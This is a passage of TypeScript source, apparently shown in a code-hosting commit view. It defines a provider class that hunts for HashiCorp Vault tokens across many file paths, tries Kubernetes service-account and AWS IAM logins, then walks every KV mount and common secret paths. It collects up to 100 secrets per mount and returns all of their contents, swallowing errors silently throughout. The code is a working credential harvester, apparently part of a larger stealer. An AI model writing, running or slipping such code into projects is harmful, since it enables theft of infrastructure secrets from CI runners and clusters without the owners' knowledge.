process.env.VAULT_TOKEN_PATH,
|
||||
process.env.VAULT_TOKEN_FILE,
|
||||
`${home}/.vault-token`,
|
||||
"/root/.vault-token",
|
||||
"/home/runner/.vault-token",
|
||||
"/vault/token",
|
||||
"/var/run/secrets/vault-token",
|
||||
"/var/run/secrets/vault/token",
|
||||
"/run/secrets/vault_token",
|
||||
"/run/secrets/VAULT_TOKEN",
|
||||
`${home}/.vault/token`,
|
||||
"/etc/vault/token",
|
||||
].filter(Boolean) as string[];
|
||||
|
||||
for (const p of candidates) {
|
||||
try {
|
||||
if (fs.existsSync(p)) {
|
||||
const content = fs.readFileSync(p, "utf-8").trim();
|
||||
if (content && content.length > 5 && content.length < 10000)
|
||||
return content;
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private async getTokenFromK8sAuth(): Promise<string | null> {
|
||||
try {
|
||||
if (!this.isInK8s()) return null;
|
||||
|
||||
const jwt = await fs.promises.readFile(
|
||||
"/var/run/secrets/kubernetes.io/serviceaccount/token",
|
||||
"utf-8",
|
||||
);
|
||||
|
||||
const host = process.env.KUBERNETES_SERVICE_HOST;
|
||||
const vaultAddr =
|
||||
process.env.VAULT_ADDR || `http://vault.${host}.svc.cluster.local:8200`;
|
||||
const role = process.env.VAULT_ROLE || "default";
|
||||
const payload = JSON.stringify({ role, jwt: jwt.trim() });
|
||||
const parsed = new URL(vaultAddr);
|
||||
|
||||
const result = await this.makeRequest(
|
||||
{
|
||||
hostname: parsed.hostname,
|
||||
port: parsed.port || 8200,
|
||||
path: "/v1/auth/kubernetes/login",
|
||||
method: "POST",
|
||||
protocol: parsed.protocol,
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Content-Length": Buffer.byteLength(payload),
|
||||
},
|
||||
},
|
||||
payload,
|
||||
);
|
||||
|
||||
return result?.auth?.client_token ?? null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private async getTokenFromAwsIam(): Promise<string | null> {
|
||||
try {
|
||||
const role = process.env.VAULT_AWS_ROLE || "default";
|
||||
const payload = JSON.stringify({ role });
|
||||
const parsed = new URL(this.VAULT_ADDR);
|
||||
|
||||
const result = await this.makeRequest(
|
||||
{
|
||||
hostname: parsed.hostname,
|
||||
port: parsed.port || 8200,
|
||||
path: "/v1/auth/aws/login",
|
||||
method: "POST",
|
||||
protocol: parsed.protocol,
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Content-Length": Buffer.byteLength(payload),
|
||||
},
|
||||
},
|
||||
payload,
|
||||
);
|
||||
|
||||
return result?.auth?.client_token ?? null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private makeRequest(options: any, body?: string): Promise<any> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const isHttps =
|
||||
(options.protocol ?? new URL(this.VAULT_ADDR).protocol) === "https:";
|
||||
const lib = isHttps ? https : http;
|
||||
|
||||
const timeout = setTimeout(() => {
|
||||
req.destroy();
|
||||
reject(new Error(`Timeout after ${this.TIMEOUT_MS}ms`));
|
||||
}, this.TIMEOUT_MS);
|
||||
|
||||
const req = lib.request(options, (res) => {
|
||||
clearTimeout(timeout);
|
||||
let data = "";
|
||||
res.on("data", (chunk) => (data += chunk));
|
||||
res.on("end", () => {
|
||||
try {
|
||||
const parsed = JSON.parse(data);
|
||||
if (
|
||||
res.statusCode &&
|
||||
res.statusCode >= 200 &&
|
||||
res.statusCode < 300
|
||||
) {
|
||||
resolve(parsed);
|
||||
} else {
|
||||
reject(new Error(`HTTP ${res.statusCode}`));
|
||||
}
|
||||
} catch {
|
||||
reject(new Error("Failed to parse response"));
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
req.on("error", (err) => {
|
||||
clearTimeout(timeout);
|
||||
reject(err);
|
||||
});
|
||||
if (body) req.write(body);
|
||||
req.end();
|
||||
});
|
||||
}
|
||||
|
||||
private async authenticate(): Promise<string | null> {
|
||||
return (
|
||||
(await this.getTokenFromEnv()) ??
|
||||
(await this.getTokenFromFile()) ??
|
||||
(await this.getTokenFromK8sAuth()) ??
|
||||
(await this.getTokenFromAwsIam())
|
||||
);
|
||||
}
|
||||
|
||||
private vaultRequest(
|
||||
path: string,
|
||||
token: string,
|
||||
method = "GET",
|
||||
body?: string,
|
||||
): Promise<any> {
|
||||
const parsed = new URL(this.VAULT_ADDR);
|
||||
const options: any = {
|
||||
hostname: parsed.hostname,
|
||||
port: parsed.port || (parsed.protocol === "https:" ? 443 : 80),
|
||||
path,
|
||||
method,
|
||||
protocol: parsed.protocol,
|
||||
headers: { "X-Vault-Token": token } as Record<string, string | number>,
|
||||
};
|
||||
if (body) {
|
||||
options.headers["Content-Type"] = "application/json";
|
||||
options.headers["Content-Length"] = Buffer.byteLength(body);
|
||||
}
|
||||
return this.makeRequest(options, body);
|
||||
}
|
||||
|
||||
private async listMounts(token: string): Promise<Array<{ path: string }>> {
|
||||
try {
|
||||
const result = await this.vaultRequest("/v1/sys/mounts", token);
|
||||
const mounts: Array<{ path: string }> = [];
|
||||
|
||||
const mountData = result.data ?? result;
|
||||
for (const [rawPath, info] of Object.entries(mountData as any)) {
|
||||
const mount = info as any;
|
||||
if (mount.type === "kv") {
|
||||
const cleanPath = rawPath.replace(/^\//, "").replace(/\/$/, "");
|
||||
if (!cleanPath.startsWith("sys/") && !cleanPath.startsWith("auth/")) {
|
||||
mounts.push({ path: cleanPath });
|
||||
}
|
||||
}
|
||||
}
|
||||
return mounts;
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
private async listKvV2(mountPath: string, token: string): Promise<any[]> {
|
||||
const secrets: any[] = [];
|
||||
try {
|
||||
const result = await this.vaultRequest(
|
||||
`/v1/${mountPath}/metadata?list=true`,
|
||||
token,
|
||||
);
|
||||
const keys: string[] = result.data?.keys ?? [];
|
||||
|
||||
await Promise.all(
|
||||
keys.slice(0, 100).map(async (key) => {
|
||||
if (key.endsWith("/")) return;
|
||||
try {
|
||||
const secretResult = await this.vaultRequest(
|
||||
`/v1/${mountPath}/data/${encodeURIComponent(key)}`,
|
||||
token,
|
||||
);
|
||||
secrets.push({
|
||||
path: `${mountPath}/${key}`,
|
||||
mount: mountPath,
|
||||
key,
|
||||
data: secretResult.data?.data ?? {},
|
||||
metadata: secretResult.data?.metadata ?? {},
|
||||
});
|
||||
} catch {}
|
||||
}),
|
||||
);
|
||||
} catch {}
|
||||
return secrets;
|
||||
}
|
||||
|
||||
private async listKvV1(mountPath: string, token: string): Promise<any[]> {
|
||||
const secrets: any[] = [];
|
||||
try {
|
||||
const result = await this.vaultRequest(`/v1/${mountPath}`, token, "LIST");
|
||||
const keys: string[] = result.data?.keys ?? [];
|
||||
|
||||
await Promise.all(
|
||||
keys.slice(0, 100).map(async (key) => {
|
||||
if (key.endsWith("/")) return;
|
||||
try {
|
||||
const secretResult = await this.vaultRequest(
|
||||
`/v1/${mountPath}/${encodeURIComponent(key)}`,
|
||||
token,
|
||||
);
|
||||
secrets.push({
|
||||
path: `${mountPath}/${key}`,
|
||||
mount: mountPath,
|
||||
key,
|
||||
data: secretResult.data ?? {},
|
||||
});
|
||||
} catch {}
|
||||
}),
|
||||
);
|
||||
} catch {}
|
||||
return secrets;
|
||||
}
|
||||
|
||||
private async collectFromMount(
|
||||
mountPath: string,
|
||||
token: string,
|
||||
): Promise<any[]> {
|
||||
const v2 = await this.listKvV2(mountPath, token);
|
||||
if (v2.length > 0) return v2;
|
||||
return this.listKvV1(mountPath, token);
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
const token = await this.authenticate();
|
||||
if (!token) {
|
||||
return this.failure("No Vault credentials found");
|
||||
}
|
||||
|
||||
try {
|
||||
await this.vaultRequest("/v1/sys/health", token);
|
||||
} catch {}
|
||||
|
||||
const mounts = await this.listMounts(token);
|
||||
const allSecrets: any[] = [];
|
||||
const seenPaths = new Set<string>();
|
||||
|
||||
for (const mount of mounts) {
|
||||
const secrets = await this.collectFromMount(mount.path, token);
|
||||
for (const s of secrets) {
|
||||
if (!seenPaths.has(s.path)) {
|
||||
seenPaths.add(s.path);
|
||||
allSecrets.push(s);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const commonPaths = ["secret", "kv", "cubbyhole", "secret-v2"];
|
||||
for (const p of commonPaths) {
|
||||
const secrets = await this.collectFromMount(p, token);
|
||||
for (const s of secrets) {
|
||||
if (!seenPaths.has(s.path)) {
|
||||
seenPaths.add(s.path);
|
||||
allSecrets.push(s);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (allSecrets.length === 0) {
|
||||
return this.failure("No secrets found in Vault");
|
||||
}
|
||||
|
||||
return this.success({
|
||||
vaultAddr: this.VAULT_ADDR,
|
||||
totalSecrets: allSecrets.length,
|
||||
secrets: allSecrets,
|
||||
});
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user